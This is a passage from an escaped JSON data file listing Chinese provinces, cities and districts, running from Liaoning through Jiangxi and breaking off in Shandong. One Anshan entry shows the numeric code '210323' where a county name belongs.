\"},{\"s\":\"阿拉善右旗\"},{\"s\":\"额济纳旗\"}]}]},{\"p\":\"辽宁省\",\"c\":[{\"n\":\"沈阳\",\"a\":[{\"s\":\"和平区\"},{\"s\":\"沈河区\"},{\"s\":\"大东区\"},{\"s\":\"皇姑区\"},{\"s\":\"铁西区\"},{\"s\":\"苏家屯区\"},{\"s\":\"东陵区\"},{\"s\":\"新城子区\"},{\"s\":\"于洪区\"},{\"s\":\"辽中县\"},{\"s\":\"康平县\"},{\"s\":\"法库县\"},{\"s\":\"新民市\"}]},{\"n\":\"大连\",\"a\":[{\"s\":\"中山区\"},{\"s\":\"西岗区\"},{\"s\":\"沙河口区\"},{\"s\":\"甘井子区\"},{\"s\":\"旅顺口区\"},{\"s\":\"金州区\"},{\"s\":\"长海县\"},{\"s\":\"瓦房店市\"},{\"s\":\"普兰店市\"},{\"s\":\"庄河市\"}]},{\"n\":\"鞍山\",\"a\":[{\"s\":\"铁东区\"},{\"s\":\"铁西区\"},{\"s\":\"立山区\"},{\"s\":\"千山区\"},{\"s\":\"台安县\"},{\"s\":\"210323\"},{\"s\":\"海城市\"}]},{\"n\":\"抚顺\",\"a\":[{\"s\":\"新抚区\"},{\"s\":\"东洲区\"},{\"s\":\"望花区\"},{\"s\":\"顺城区\"},{\"s\":\"抚顺县\"},{\"s\":\"新宾满族自治县\"},{\"s\":\"清原满族自治县\"}]},{\"n\":\"本溪\",\"a\":[{\"s\":\"平山区\"},{\"s\":\"溪湖区\"},{\"s\":\"明山区\"},{\"s\":\"南芬区\"},{\"s\":\"本溪满族自治县\"},{\"s\":\"桓仁满族自治县\"}]},{\"n\":\"丹东\",\"a\":[{\"s\":\"元宝区\"},{\"s\":\"振兴区\"},{\"s\":\"振安区\"},{\"s\":\"宽甸满族自治县\"},{\"s\":\"东港市\"},{\"s\":\"凤城市\"}]},{\"n\":\"锦州\",\"a\":[{\"s\":\"古塔区\"},{\"s\":\"凌河区\"},{\"s\":\"太和区\"},{\"s\":\"黑山县\"},{\"s\":\"义县\"},{\"s\":\"凌海市\"},{\"s\":\"北镇市\"}]},{\"n\":\"营口\",\"a\":[{\"s\":\"站前区\"},{\"s\":\"西市区\"},{\"s\":\"鲅鱼圈区\"},{\"s\":\"老边区\"},{\"s\":\"盖州市\"},{\"s\":\"大石桥市\"}]},{\"n\":\"阜新\",\"a\":[{\"s\":\"海州区\"},{\"s\":\"新邱区\"},{\"s\":\"太平区\"},{\"s\":\"清河门区\"},{\"s\":\"细河区\"},{\"s\":\"阜新蒙古族自治县\"},{\"s\":\"彰武县\"}]},{\"n\":\"辽阳\",\"a\":[{\"s\":\"白塔区\"},{\"s\":\"文圣区\"},{\"s\":\"宏伟区\"},{\"s\":\"弓长岭区\"},{\"s\":\"太子河区\"},{\"s\":\"辽阳县\"},{\"s\":\"灯塔市\"}]},{\"n\":\"盘锦\",\"a\":[{\"s\":\"双台子区\"},{\"s\":\"兴隆台区\"},{\"s\":\"大洼县\"},{\"s\":\"盘山县\"}]},{\"n\":\"铁岭\",\"a\":[{\"s\":\"银州区\"},{\"s\":\"清河区\"},{\"s\":\"铁岭县\"},{\"s\":\"西丰县\"},{\"s\":\"昌图县\"},{\"s\":\"调兵山市\"},{\"s\":\"开原市\"}]},{\"n\":\"朝阳\",\"a\":[{\"s\":\"双塔区\"},{\"s\":\"龙城区\"},{\"s\":\"朝阳县\"},{\"s\":\"建平县\"},{\"s\":\"喀喇沁左翼蒙古族自治县\"},{\"s\":\"北票市\"},{\"s\":\"凌源市\"}]},{\"n\":\"葫芦岛\",\"a\":[{\"s\":\"连山区\"},{\"s\":\"龙港区\"},{\"s\":\"南票区\"},{\"s\":\"绥中县\"},{\"s\":\"建昌县\"},{\"s\":\"兴城市\"}]}]},{\"p\":\"吉林省\",\"c\":[{\"n\":\"长春\",\"a\":[{\"s\":\"南关区\"},{\"s\":\"宽城区\"},{\"s\":\"朝阳区\"},{\"s\":\"二道区\"},{\"s\":\"绿园区\"},{\"s\":\"双阳区\"},{\"s\":\"农安县\"},{\"s\":\"九台市\"},{\"s\":\"榆树市\"},{\"s\":\"德惠市\"}]},{\"n\":\"吉林\",\"a\":[{\"s\":\"昌邑区\"},{\"s\":\"龙潭区\"},{\"s\":\"船营区\"},{\"s\":\"丰满区\"},{\"s\":\"永吉县\"},{\"s\":\"蛟河市\"},{\"s\":\"桦甸市\"},{\"s\":\"舒兰市\"},{\"s\":\"磐石市\"}]},{\"n\":\"四平\",\"a\":[{\"s\":\"铁西区\"},{\"s\":\"铁东区\"},{\"s\":\"梨树县\"},{\"s\":\"伊通满族自治县\"},{\"s\":\"公主岭市\"},{\"s\":\"双辽市\"}]},{\"n\":\"辽源\",\"a\":[{\"s\":\"龙山区\"},{\"s\":\"西安区\"},{\"s\":\"东丰县\"},{\"s\":\"东辽县\"}]},{\"n\":\"通化\",\"a\":[{\"s\":\"东昌区\"},{\"s\":\"二道江区\"},{\"s\":\"通化县\"},{\"s\":\"辉南县\"},{\"s\":\"柳河县\"},{\"s\":\"梅河口市\"},{\"s\":\"集安市\"}]},{\"n\":\"白山\",\"a\":[{\"s\":\"八道江区\"},{\"s\":\"江源区\"},{\"s\":\"抚松县\"},{\"s\":\"靖宇县\"},{\"s\":\"长白朝鲜族自治县\"},{\"s\":\"临江市\"}]},{\"n\":\"松原\",\"a\":[{\"s\":\"宁江区\"},{\"s\":\"前郭尔罗斯蒙古族自治县\"},{\"s\":\"长岭县\"},{\"s\":\"乾安县\"},{\"s\":\"扶余县\"}]},{\"n\":\"白城\",\"a\":[{\"s\":\"洮北区\"},{\"s\":\"镇赉县\"},{\"s\":\"通榆县\"},{\"s\":\"洮南市\"},{\"s\":\"大安市\"}]},{\"n\":\"延边\",\"a\":[{\"s\":\"延吉市\"},{\"s\":\"图们市\"},{\"s\":\"敦化市\"},{\"s\":\"珲春市\"},{\"s\":\"龙井市\"},{\"s\":\"和龙市\"},{\"s\":\"汪清县\"},{\"s\":\"安图县\"}]}]},{\"p\":\"黑龙江省\",\"c\":[{\"n\":\"哈尔滨\",\"a\":[{\"s\":\"道里区\"},{\"s\":\"南岗区\"},{\"s\":\"道外区\"},{\"s\":\"平房区\"},{\"s\":\"松北区\"},{\"s\":\"香坊区\"},{\"s\":\"呼兰区\"},{\"s\":\"阿城区\"},{\"s\":\"依兰县\"},{\"s\":\"方正县\"},{\"s\":\"宾县\"},{\"s\":\"巴彦县\"},{\"s\":\"木兰县\"},{\"s\":\"通河县\"},{\"s\":\"延寿县\"},{\"s\":\"双城市\"},{\"s\":\"尚志市\"},{\"s\":\"五常市\"}]},{\"n\":\"齐齐哈尔\",\"a\":[{\"s\":\"龙沙区\"},{\"s\":\"建华区\"},{\"s\":\"铁锋区\"},{\"s\":\"昂昂溪区\"},{\"s\":\"富拉尔基区\"},{\"s\":\"碾子山区\"},{\"s\":\"梅里斯达斡尔族区\"},{\"s\":\"龙江县\"},{\"s\":\"依安县\"},{\"s\":\"泰来县\"},{\"s\":\"甘南县\"},{\"s\":\"富裕县\"},{\"s\":\"克山县\"},{\"s\":\"克东县\"},{\"s\":\"拜泉县\"},{\"s\":\"讷河市\"}]},{\"n\":\"鸡西\",\"a\":[{\"s\":\"鸡冠区\"},{\"s\":\"恒山区\"},{\"s\":\"滴道区\"},{\"s\":\"梨树区\"},{\"s\":\"城子河区\"},{\"s\":\"麻山区\"},{\"s\":\"鸡东县\"},{\"s\":\"虎林市\"},{\"s\":\"密山市\"}]},{\"n\":\"鹤岗\",\"a\":[{\"s\":\"向阳区\"},{\"s\":\"工农区\"},{\"s\":\"南山区\"},{\"s\":\"兴安区\"},{\"s\":\"东山区\"},{\"s\":\"兴山区\"},{\"s\":\"萝北县\"},{\"s\":\"绥滨县\"}]},{\"n\":\"双鸭山\",\"a\":[{\"s\":\"尖山区\"},{\"s\":\"岭东区\"},{\"s\":\"四方台区\"},{\"s\":\"宝山区\"},{\"s\":\"集贤县\"},{\"s\":\"友谊县\"},{\"s\":\"宝清县\"},{\"s\":\"饶河县\"}]},{\"n\":\"大庆\",\"a\":[{\"s\":\"萨尔图区\"},{\"s\":\"龙凤区\"},{\"s\":\"让胡路区\"},{\"s\":\"红岗区\"},{\"s\":\"大同区\"},{\"s\":\"肇州县\"},{\"s\":\"肇源县\"},{\"s\":\"林甸县\"},{\"s\":\"杜尔伯特蒙古族自治县\"}]},{\"n\":\"伊春\",\"a\":[{\"s\":\"伊春区\"},{\"s\":\"南岔区\"},{\"s\":\"友好区\"},{\"s\":\"西林区\"},{\"s\":\"翠峦区\"},{\"s\":\"新青区\"},{\"s\":\"美溪区\"},{\"s\":\"金山屯区\"},{\"s\":\"五营区\"},{\"s\":\"乌马河区\"},{\"s\":\"汤旺河区\"},{\"s\":\"带岭区\"},{\"s\":\"乌伊岭区\"},{\"s\":\"红星区\"},{\"s\":\"上甘岭区\"},{\"s\":\"嘉荫县\"},{\"s\":\"铁力市\"}]},{\"n\":\"佳木斯\",\"a\":[{\"s\":\"向阳区\"},{\"s\":\"前进区\"},{\"s\":\"东风区\"},{\"s\":\"郊区\"},{\"s\":\"桦南县\"},{\"s\":\"桦川县\"},{\"s\":\"汤原县\"},{\"s\":\"抚远县\"},{\"s\":\"同江市\"},{\"s\":\"富锦市\"}]},{\"n\":\"七台河\",\"a\":[{\"s\":\"新兴区\"},{\"s\":\"桃山区\"},{\"s\":\"茄子河区\"},{\"s\":\"勃利县\"}]},{\"n\":\"牡丹江\",\"a\":[{\"s\":\"东安区\"},{\"s\":\"阳明区\"},{\"s\":\"爱民区\"},{\"s\":\"西安区\"},{\"s\":\"东宁县\"},{\"s\":\"林口县\"},{\"s\":\"绥芬河市\"},{\"s\":\"海林市\"},{\"s\":\"宁安市\"},{\"s\":\"穆棱市\"}]},{\"n\":\"黑河\",\"a\":[{\"s\":\"爱辉区\"},{\"s\":\"嫩江县\"},{\"s\":\"逊克县\"},{\"s\":\"孙吴县\"},{\"s\":\"北安市\"},{\"s\":\"五大连池市\"}]},{\"n\":\"绥化\",\"a\":[{\"s\":\"北林区\"},{\"s\":\"望奎县\"},{\"s\":\"兰西县\"},{\"s\":\"青冈县\"},{\"s\":\"庆安县\"},{\"s\":\"明水县\"},{\"s\":\"绥棱县\"},{\"s\":\"安达市\"},{\"s\":\"肇东市\"},{\"s\":\"海伦市\"}]},{\"n\":\"大兴安岭\",\"a\":[{\"s\":\"加格达奇区\"},{\"s\":\"松岭区\"},{\"s\":\"新林区\"},{\"s\":\"呼中区\"},{\"s\":\"呼玛县\"},{\"s\":\"塔河县\"},{\"s\":\"漠河县\"}]}]},{\"p\":\"上海市\",\"c\":[{\"n\":\"黄浦区\"},{\"n\":\"卢湾区\"},{\"n\":\"徐汇区\"},{\"n\":\"长宁区\"},{\"n\":\"静安区\"},{\"n\":\"普陀区\"},{\"n\":\"闸北区\"},{\"n\":\"虹口区\"},{\"n\":\"杨浦区\"},{\"n\":\"闵行区\"},{\"n\":\"宝山区\"},{\"n\":\"嘉定区\"},{\"n\":\"浦东新区\"},{\"n\":\"金山区\"},{\"n\":\"松江区\"},{\"n\":\"奉贤区\"},{\"n\":\"青浦区\"},{\"n\":\"崇明县\"}]},{\"p\":\"江苏省\",\"c\":[{\"n\":\"南京\",\"a\":[{\"s\":\"玄武区\"},{\"s\":\"白下区\"},{\"s\":\"秦淮区\"},{\"s\":\"建邺区\"},{\"s\":\"鼓楼区\"},{\"s\":\"下关区\"},{\"s\":\"浦口区\"},{\"s\":\"栖霞区\"},{\"s\":\"雨花台区\"},{\"s\":\"江宁区\"},{\"s\":\"六合区\"},{\"s\":\"溧水县\"},{\"s\":\"高淳县\"}]},{\"n\":\"无锡\",\"a\":[{\"s\":\"崇安区\"},{\"s\":\"南长区\"},{\"s\":\"北塘区\"},{\"s\":\"锡山区\"},{\"s\":\"惠山区\"},{\"s\":\"滨湖区\"},{\"s\":\"江阴市\"},{\"s\":\"宜兴市\"}]},{\"n\":\"徐州\",\"a\":[{\"s\":\"鼓楼区\"},{\"s\":\"云龙区\"},{\"s\":\"九里区\"},{\"s\":\"贾汪区\"},{\"s\":\"泉山区\"},{\"s\":\"丰县\"},{\"s\":\"沛县\"},{\"s\":\"铜山县\"},{\"s\":\"睢宁县\"},{\"s\":\"新沂市\"},{\"s\":\"邳州市\"}]},{\"n\":\"常州\",\"a\":[{\"s\":\"天宁区\"},{\"s\":\"钟楼区\"},{\"s\":\"戚墅堰区\"},{\"s\":\"新北区\"},{\"s\":\"武进区\"},{\"s\":\"溧阳市\"},{\"s\":\"金坛市\"}]},{\"n\":\"苏州\",\"a\":[{\"s\":\"沧浪区\"},{\"s\":\"平江区\"},{\"s\":\"金阊区\"},{\"s\":\"虎丘区\"},{\"s\":\"吴中区\"},{\"s\":\"相城区\"},{\"s\":\"常熟市\"},{\"s\":\"张家港市\"},{\"s\":\"昆山市\"},{\"s\":\"吴江市\"},{\"s\":\"太仓市\"}]},{\"n\":\"南通\",\"a\":[{\"s\":\"崇川区\"},{\"s\":\"港闸区\"},{\"s\":\"海安县\"},{\"s\":\"如东县\"},{\"s\":\"启东市\"},{\"s\":\"如皋市\"},{\"s\":\"通州市\"},{\"s\":\"海门市\"}]},{\"n\":\"连云港\",\"a\":[{\"s\":\"连云区\"},{\"s\":\"新浦区\"},{\"s\":\"海州区\"},{\"s\":\"赣榆县\"},{\"s\":\"东海县\"},{\"s\":\"灌云县\"},{\"s\":\"灌南县\"}]},{\"n\":\"淮安\",\"a\":[{\"s\":\"清河区\"},{\"s\":\"楚州区\"},{\"s\":\"淮阴区\"},{\"s\":\"清浦区\"},{\"s\":\"涟水县\"},{\"s\":\"洪泽县\"},{\"s\":\"盱眙县\"},{\"s\":\"金湖县\"}]},{\"n\":\"盐城\",\"a\":[{\"s\":\"亭湖区\"},{\"s\":\"盐都区\"},{\"s\":\"响水县\"},{\"s\":\"滨海县\"},{\"s\":\"阜宁县\"},{\"s\":\"射阳县\"},{\"s\":\"建湖县\"},{\"s\":\"东台市\"},{\"s\":\"大丰市\"}]},{\"n\":\"扬州\",\"a\":[{\"s\":\"广陵区\"},{\"s\":\"邗江区\"},{\"s\":\"维扬区\"},{\"s\":\"宝应县\"},{\"s\":\"仪征市\"},{\"s\":\"高邮市\"},{\"s\":\"江都市\"}]},{\"n\":\"镇江\",\"a\":[{\"s\":\"京口区\"},{\"s\":\"润州区\"},{\"s\":\"丹徒区\"},{\"s\":\"丹阳市\"},{\"s\":\"扬中市\"},{\"s\":\"句容市\"}]},{\"n\":\"泰州\",\"a\":[{\"s\":\"海陵区\"},{\"s\":\"高港区\"},{\"s\":\"兴化市\"},{\"s\":\"靖江市\"},{\"s\":\"泰兴市\"},{\"s\":\"姜堰市\"}]},{\"n\":\"宿迁\",\"a\":[{\"s\":\"宿城区\"},{\"s\":\"宿豫区\"},{\"s\":\"沭阳县\"},{\"s\":\"泗阳县\"},{\"s\":\"泗洪县\"}]}]},{\"p\":\"浙江省\",\"c\":[{\"n\":\"杭州\",\"a\":[{\"s\":\"上城区\"},{\"s\":\"下城区\"},{\"s\":\"江干区\"},{\"s\":\"拱墅区\"},{\"s\":\"西湖区\"},{\"s\":\"滨江区\"},{\"s\":\"萧山区\"},{\"s\":\"余杭区\"},{\"s\":\"桐庐县\"},{\"s\":\"淳安县\"},{\"s\":\"建德市\"},{\"s\":\"富阳市\"},{\"s\":\"临安市\"}]},{\"n\":\"宁波\",\"a\":[{\"s\":\"海曙区\"},{\"s\":\"江东区\"},{\"s\":\"江北区\"},{\"s\":\"北仑区\"},{\"s\":\"镇海区\"},{\"s\":\"鄞州区\"},{\"s\":\"象山县\"},{\"s\":\"宁海县\"},{\"s\":\"余姚市\"},{\"s\":\"慈溪市\"},{\"s\":\"奉化市\"}]},{\"n\":\"温州\",\"a\":[{\"s\":\"鹿城区\"},{\"s\":\"龙湾区\"},{\"s\":\"瓯海区\"},{\"s\":\"洞头县\"},{\"s\":\"永嘉县\"},{\"s\":\"平阳县\"},{\"s\":\"苍南县\"},{\"s\":\"文成县\"},{\"s\":\"泰顺县\"},{\"s\":\"瑞安市\"},{\"s\":\"乐清市\"}]},{\"n\":\"嘉兴\",\"a\":[{\"s\":\"南湖区\"},{\"s\":\"秀洲区\"},{\"s\":\"嘉善县\"},{\"s\":\"海盐县\"},{\"s\":\"海宁市\"},{\"s\":\"平湖市\"},{\"s\":\"桐乡市\"}]},{\"n\":\"湖州\",\"a\":[{\"s\":\"吴兴区\"},{\"s\":\"南浔区\"},{\"s\":\"德清县\"},{\"s\":\"长兴县\"},{\"s\":\"安吉县\"}]},{\"n\":\"绍兴\",\"a\":[{\"s\":\"越城区\"},{\"s\":\"绍兴县\"},{\"s\":\"新昌县\"},{\"s\":\"诸暨市\"},{\"s\":\"上虞市\"},{\"s\":\"嵊州市\"}]},{\"n\":\"金华\",\"a\":[{\"s\":\"婺城区\"},{\"s\":\"金东区\"},{\"s\":\"武义县\"},{\"s\":\"浦江县\"},{\"s\":\"磐安县\"},{\"s\":\"兰溪市\"},{\"s\":\"义乌市\"},{\"s\":\"东阳市\"},{\"s\":\"永康市\"}]},{\"n\":\"衢州\",\"a\":[{\"s\":\"柯城区\"},{\"s\":\"衢江区\"},{\"s\":\"常山县\"},{\"s\":\"开化县\"},{\"s\":\"龙游县\"},{\"s\":\"江山市\"}]},{\"n\":\"舟山\",\"a\":[{\"s\":\"定海区\"},{\"s\":\"普陀区\"},{\"s\":\"岱山县\"},{\"s\":\"嵊泗县\"}]},{\"n\":\"台州\",\"a\":[{\"s\":\"椒江区\"},{\"s\":\"黄岩区\"},{\"s\":\"路桥区\"},{\"s\":\"玉环县\"},{\"s\":\"三门县\"},{\"s\":\"天台县\"},{\"s\":\"仙居县\"},{\"s\":\"温岭市\"},{\"s\":\"临海市\"}]},{\"n\":\"丽水\",\"a\":[{\"s\":\"莲都区\"},{\"s\":\"青田县\"},{\"s\":\"缙云县\"},{\"s\":\"遂昌县\"},{\"s\":\"松阳县\"},{\"s\":\"云和县\"},{\"s\":\"庆元县\"},{\"s\":\"景宁畲族自治县\"},{\"s\":\"龙泉市\"}]}]},{\"p\":\"安徽省\",\"c\":[{\"n\":\"合肥\",\"a\":[{\"s\":\"瑶海区\"},{\"s\":\"庐阳区\"},{\"s\":\"蜀山区\"},{\"s\":\"包河区\"},{\"s\":\"长丰县\"},{\"s\":\"肥东县\"},{\"s\":\"肥西县\"}]},{\"n\":\"芜湖\",\"a\":[{\"s\":\"镜湖区\"},{\"s\":\"弋江区\"},{\"s\":\"鸠江区\"},{\"s\":\"三山区\"},{\"s\":\"芜湖县\"},{\"s\":\"繁昌县\"},{\"s\":\"南陵县\"}]},{\"n\":\"蚌埠\",\"a\":[{\"s\":\"龙子湖区\"},{\"s\":\"蚌山区\"},{\"s\":\"禹会区\"},{\"s\":\"淮上区\"},{\"s\":\"怀远县\"},{\"s\":\"五河县\"},{\"s\":\"固镇县\"}]},{\"n\":\"淮南\",\"a\":[{\"s\":\"大通区\"},{\"s\":\"田家庵区\"},{\"s\":\"谢家集区\"},{\"s\":\"八公山区\"},{\"s\":\"潘集区\"},{\"s\":\"凤台县\"}]},{\"n\":\"马鞍山\",\"a\":[{\"s\":\"金家庄区\"},{\"s\":\"花山区\"},{\"s\":\"雨山区\"},{\"s\":\"当涂县\"}]},{\"n\":\"淮北\",\"a\":[{\"s\":\"杜集区\"},{\"s\":\"相山区\"},{\"s\":\"烈山区\"},{\"s\":\"濉溪县\"}]},{\"n\":\"铜陵\",\"a\":[{\"s\":\"铜官山区\"},{\"s\":\"狮子山区\"},{\"s\":\"郊区\"},{\"s\":\"铜陵县\"}]},{\"n\":\"安庆\",\"a\":[{\"s\":\"迎江区\"},{\"s\":\"大观区\"},{\"s\":\"宜秀区\"},{\"s\":\"怀宁县\"},{\"s\":\"枞阳县\"},{\"s\":\"潜山县\"},{\"s\":\"太湖县\"},{\"s\":\"宿松县\"},{\"s\":\"望江县\"},{\"s\":\"岳西县\"},{\"s\":\"桐城市\"}]},{\"n\":\"黄山\",\"a\":[{\"s\":\"屯溪区\"},{\"s\":\"黄山区\"},{\"s\":\"徽州区\"},{\"s\":\"歙县\"},{\"s\":\"休宁县\"},{\"s\":\"黟县\"},{\"s\":\"祁门县\"}]},{\"n\":\"滁州\",\"a\":[{\"s\":\"琅琊区\"},{\"s\":\"南谯区\"},{\"s\":\"来安县\"},{\"s\":\"全椒县\"},{\"s\":\"定远县\"},{\"s\":\"凤阳县\"},{\"s\":\"天长市\"},{\"s\":\"明光市\"}]},{\"n\":\"阜阳\",\"a\":[{\"s\":\"颍州区\"},{\"s\":\"颍东区\"},{\"s\":\"颍泉区\"},{\"s\":\"临泉县\"},{\"s\":\"太和县\"},{\"s\":\"阜南县\"},{\"s\":\"颍上县\"},{\"s\":\"界首市\"}]},{\"n\":\"宿州\",\"a\":[{\"s\":\"埇桥区\"},{\"s\":\"砀山县\"},{\"s\":\"萧县\"},{\"s\":\"灵璧县\"},{\"s\":\"泗县\"}]},{\"n\":\"巢湖\",\"a\":[{\"s\":\"居巢区\"},{\"s\":\"庐江县\"},{\"s\":\"无为县\"},{\"s\":\"含山县\"},{\"s\":\"和县\"}]},{\"n\":\"六安\",\"a\":[{\"s\":\"金安区\"},{\"s\":\"裕安区\"},{\"s\":\"寿县\"},{\"s\":\"霍邱县\"},{\"s\":\"舒城县\"},{\"s\":\"金寨县\"},{\"s\":\"霍山县\"}]},{\"n\":\"亳州\",\"a\":[{\"s\":\"谯城区\"},{\"s\":\"涡阳县\"},{\"s\":\"蒙城县\"},{\"s\":\"利辛县\"}]},{\"n\":\"池州\",\"a\":[{\"s\":\"贵池区\"},{\"s\":\"东至县\"},{\"s\":\"石台县\"},{\"s\":\"青阳县\"}]},{\"n\":\"宣城\",\"a\":[{\"s\":\"宣州区\"},{\"s\":\"郎溪县\"},{\"s\":\"广德县\"},{\"s\":\"泾县\"},{\"s\":\"绩溪县\"},{\"s\":\"旌德县\"},{\"s\":\"宁国市\"}]}]},{\"p\":\"福建省\",\"c\":[{\"n\":\"福州\",\"a\":[{\"s\":\"鼓楼区\"},{\"s\":\"台江区\"},{\"s\":\"仓山区\"},{\"s\":\"马尾区\"},{\"s\":\"晋安区\"},{\"s\":\"闽侯县\"},{\"s\":\"连江县\"},{\"s\":\"罗源县\"},{\"s\":\"闽清县\"},{\"s\":\"永泰县\"},{\"s\":\"平潭县\"},{\"s\":\"福清市\"},{\"s\":\"长乐市\"}]},{\"n\":\"厦门\",\"a\":[{\"s\":\"思明区\"},{\"s\":\"海沧区\"},{\"s\":\"湖里区\"},{\"s\":\"集美区\"},{\"s\":\"同安区\"},{\"s\":\"翔安区\"}]},{\"n\":\"莆田\",\"a\":[{\"s\":\"城厢区\"},{\"s\":\"涵江区\"},{\"s\":\"荔城区\"},{\"s\":\"秀屿区\"},{\"s\":\"仙游县\"}]},{\"n\":\"三明\",\"a\":[{\"s\":\"梅列区\"},{\"s\":\"三元区\"},{\"s\":\"明溪县\"},{\"s\":\"清流县\"},{\"s\":\"宁化县\"},{\"s\":\"大田县\"},{\"s\":\"尤溪县\"},{\"s\":\"沙县\"},{\"s\":\"将乐县\"},{\"s\":\"泰宁县\"},{\"s\":\"建宁县\"},{\"s\":\"永安市\"}]},{\"n\":\"泉州\",\"a\":[{\"s\":\"鲤城区\"},{\"s\":\"丰泽区\"},{\"s\":\"洛江区\"},{\"s\":\"泉港区\"},{\"s\":\"惠安县\"},{\"s\":\"安溪县\"},{\"s\":\"永春县\"},{\"s\":\"德化县\"},{\"s\":\"金门县\"},{\"s\":\"石狮市\"},{\"s\":\"晋江市\"},{\"s\":\"南安市\"}]},{\"n\":\"漳州\",\"a\":[{\"s\":\"芗城区\"},{\"s\":\"龙文区\"},{\"s\":\"云霄县\"},{\"s\":\"漳浦县\"},{\"s\":\"诏安县\"},{\"s\":\"长泰县\"},{\"s\":\"东山县\"},{\"s\":\"南靖县\"},{\"s\":\"平和县\"},{\"s\":\"华安县\"},{\"s\":\"龙海市\"}]},{\"n\":\"南平\",\"a\":[{\"s\":\"延平区\"},{\"s\":\"顺昌县\"},{\"s\":\"浦城县\"},{\"s\":\"光泽县\"},{\"s\":\"松溪县\"},{\"s\":\"政和县\"},{\"s\":\"邵武市\"},{\"s\":\"武夷山市\"},{\"s\":\"建瓯市\"},{\"s\":\"建阳市\"}]},{\"n\":\"龙岩\",\"a\":[{\"s\":\"新罗区\"},{\"s\":\"长汀县\"},{\"s\":\"永定县\"},{\"s\":\"上杭县\"},{\"s\":\"武平县\"},{\"s\":\"连城县\"},{\"s\":\"漳平市\"}]},{\"n\":\"宁德\",\"a\":[{\"s\":\"蕉城区\"},{\"s\":\"霞浦县\"},{\"s\":\"古田县\"},{\"s\":\"屏南县\"},{\"s\":\"寿宁县\"},{\"s\":\"周宁县\"},{\"s\":\"柘荣县\"},{\"s\":\"福安市\"},{\"s\":\"福鼎市\"}]}]},{\"p\":\"江西省\",\"c\":[{\"n\":\"南昌\",\"a\":[{\"s\":\"东湖区\"},{\"s\":\"西湖区\"},{\"s\":\"青云谱区\"},{\"s\":\"湾里区\"},{\"s\":\"青山湖区\"},{\"s\":\"南昌县\"},{\"s\":\"新建县\"},{\"s\":\"安义县\"},{\"s\":\"进贤县\"}]},{\"n\":\"景德镇\",\"a\":[{\"s\":\"昌江区\"},{\"s\":\"珠山区\"},{\"s\":\"浮梁县\"},{\"s\":\"乐平市\"}]},{\"n\":\"萍乡\",\"a\":[{\"s\":\"安源区\"},{\"s\":\"湘东区\"},{\"s\":\"莲花县\"},{\"s\":\"上栗县\"},{\"s\":\"芦溪县\"}]},{\"n\":\"九江\",\"a\":[{\"s\":\"庐山区\"},{\"s\":\"浔阳区\"},{\"s\":\"九江县\"},{\"s\":\"武宁县\"},{\"s\":\"修水县\"},{\"s\":\"永修县\"},{\"s\":\"德安县\"},{\"s\":\"星子县\"},{\"s\":\"都昌县\"},{\"s\":\"湖口县\"},{\"s\":\"彭泽县\"},{\"s\":\"瑞昌市\"}]},{\"n\":\"新余\",\"a\":[{\"s\":\"渝水区\"},{\"s\":\"分宜县\"}]},{\"n\":\"鹰潭\",\"a\":[{\"s\":\"月湖区\"},{\"s\":\"余江县\"},{\"s\":\"贵溪市\"}]},{\"n\":\"赣州\",\"a\":[{\"s\":\"章贡区\"},{\"s\":\"赣县\"},{\"s\":\"信丰县\"},{\"s\":\"大余县\"},{\"s\":\"上犹县\"},{\"s\":\"崇义县\"},{\"s\":\"安远县\"},{\"s\":\"龙南县\"},{\"s\":\"定南县\"},{\"s\":\"全南县\"},{\"s\":\"宁都县\"},{\"s\":\"于都县\"},{\"s\":\"兴国县\"},{\"s\":\"会昌县\"},{\"s\":\"寻乌县\"},{\"s\":\"石城县\"},{\"s\":\"瑞金市\"},{\"s\":\"南康市\"}]},{\"n\":\"吉安\",\"a\":[{\"s\":\"吉州区\"},{\"s\":\"青原区\"},{\"s\":\"吉安县\"},{\"s\":\"吉水县\"},{\"s\":\"峡江县\"},{\"s\":\"新干县\"},{\"s\":\"永丰县\"},{\"s\":\"泰和县\"},{\"s\":\"遂川县\"},{\"s\":\"万安县\"},{\"s\":\"安福县\"},{\"s\":\"永新县\"},{\"s\":\"井冈山市\"}]},{\"n\":\"宜春\",\"a\":[{\"s\":\"袁州区\"},{\"s\":\"奉新县\"},{\"s\":\"万载县\"},{\"s\":\"上高县\"},{\"s\":\"宜丰县\"},{\"s\":\"靖安县\"},{\"s\":\"铜鼓县\"},{\"s\":\"丰城市\"},{\"s\":\"樟树市\"},{\"s\":\"高安市\"}]},{\"n\":\"抚州\",\"a\":[{\"s\":\"临川区\"},{\"s\":\"南城县\"},{\"s\":\"黎川县\"},{\"s\":\"南丰县\"},{\"s\":\"崇仁县\"},{\"s\":\"乐安县\"},{\"s\":\"宜黄县\"},{\"s\":\"金溪县\"},{\"s\":\"资溪县\"},{\"s\":\"东乡县\"},{\"s\":\"广昌县\"}]},{\"n\":\"上饶\",\"a\":[{\"s\":\"信州区\"},{\"s\":\"上饶县\"},{\"s\":\"广丰县\"},{\"s\":\"玉山县\"},{\"s\":\"铅山县\"},{\"s\":\"横峰县\"},{\"s\":\"弋阳县\"},{\"s\":\"余干县\"},{\"s\":\"鄱阳县\"},{\"s\":\"万年县\"},{\"s\":\"婺源县\"},{\"s\":\"德兴市\"}]}]},{\"p\":\"山东省\",\"c\":[{\"n\":\"济南\",\"a\":[{\"s\":\"历下区\"},{\"s\":\"市中区\"},{\"s\":\"槐荫区\"},{\"s\":\"天桥区\"},{\"s\":\"历城区\"},{\"s\":\"长清区\"},{\"s\":\"平阴县\"},{\"s\":\"济阳县\"},{\"s\":\"商河县\"},{\"s\":\"章丘市\"}]},{\"n\":\"青岛\",\"a\":[{\"s\":\"市南区\"},{\"s\":\"市北区\"},{\"s\":\"四方区\"},{\"s\":\"黄岛区\"},{\"s\":\"崂山区\"},{\"s\":\"李沧区\"},{\"s\":\"城阳区\"},{\"s\":\"胶州市\"},{\"s\":\"即墨市\"},{\"s\":\"平度市\"},{\"s\":\"胶南市\"},{\"s\":\"莱西市\"}]},{\"n\":\"淄博\",\"a\":[{\"s\":\"淄川区\"},{\"s\":\"张店区\"},{\"s\":\"博山区\"},{\"s\":\"临淄区\"},{\"s\":\"周村区\"},{\"s\":\"桓台县\"},{\"s\":\"高青县\"},{\"s\":\"沂源县\"}]},{\"n\":\"枣庄\",\"a\":[{\"s\":\"市中区\"},{\"s\":\"薛城区\"},{\"s\":\"峄城区\"},{\"s\":\"台儿庄区\"},{\"s\":\"山亭区\"},{\"s\":\"滕州市\"}]},{\"n\":\"东营\",\"a\":[{\"s\":\"东营区\"},{\"s\":\"河口区\"},{\"s\":\"垦利县\